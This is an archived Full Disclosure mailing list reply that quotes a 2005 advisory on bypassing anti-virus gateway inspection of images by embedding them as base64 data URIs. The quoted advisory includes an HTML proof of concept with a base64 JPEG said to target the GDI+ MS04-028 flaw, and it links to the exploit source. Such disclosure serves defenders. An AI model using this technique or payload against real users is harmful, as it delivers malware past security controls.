Full Disclosure mailing list archives
Re: Multi-vendor AV gateway image inspection bypass vulnerability
From: Danny <nocmonkey () gmail com>
Date: Tue, 11 Jan 2005 14:14:17 -0500
On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds <dbounds () intrusense com> wrote:
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Multi-vendor AV gateway image inspection bypass vulnerability January 10, 2005 A vulnerability has been discovered which allows a remote attacker to bypass anti-virus (as well other security technologies such as IDS and IPS) inspection of HTTP image content. By leveraging techniques described in RFC 2397 for base64 encoding image content within the URL scheme. A remote attack may encode a malicious image within the body of an HTML formatted document to circumvent content inspection. For example: http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php The source code at the URL above will by default create a JPEG image that will attempt (and fail without tweaking) to exploit the Microsoft MS04-028 GDI+ vulnerability. The image itself is detected by all AV gateway engines tested (Trend, Sophos and McAfee), however, when the same image is base64 encoded using the technique described in RFC 2397 (documented below), inspection is not performed and is delivered rendered by the client. While Microsoft Internet Explorer does not support the RFC 2397 URL scheme; Firefox, Safari, Mozilla and Opera do and will render the data and thus successfully execute the payload if the necessary OS and/or application patches have not been applied. ## BEGIN HTML ## <html> <body> <img src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD// gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD// Z"> </body> </html> ## END HTML ## Solution: While AV vendor patches are not yet available, fixes for all currently known image vulnerabilities are and have been for several months. If you have not yet applied them, you have your own negligence to blame. Contributions: Thanks to Scott Roeder and Jacinto Rodriquez their assistance in platform testing.
I believe TrendMicro's OfficeScan (client-server scanner) will catch it, but I am not sure about their gateway device. What was their response? ...D _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- Multi-vendor AV gateway image inspection bypass vulnerability Darren Bounds (Jan 10)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Jeff Gillian (Jan 11)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability - KMail Noam Rathaus (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Danny (Jan 11)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Darren Bounds (Jan 11)
- <Possible follow-ups>
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Steven Rakick (Jan 11)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Steven Rakick (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Nils Ketelsen (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Frank Knobbe (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Steven Rakick (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Frank Knobbe (Jan 12)
- Re: Multi-vendor AV gateway image inspection bypass vulnerability Jeff Gillian (Jan 11)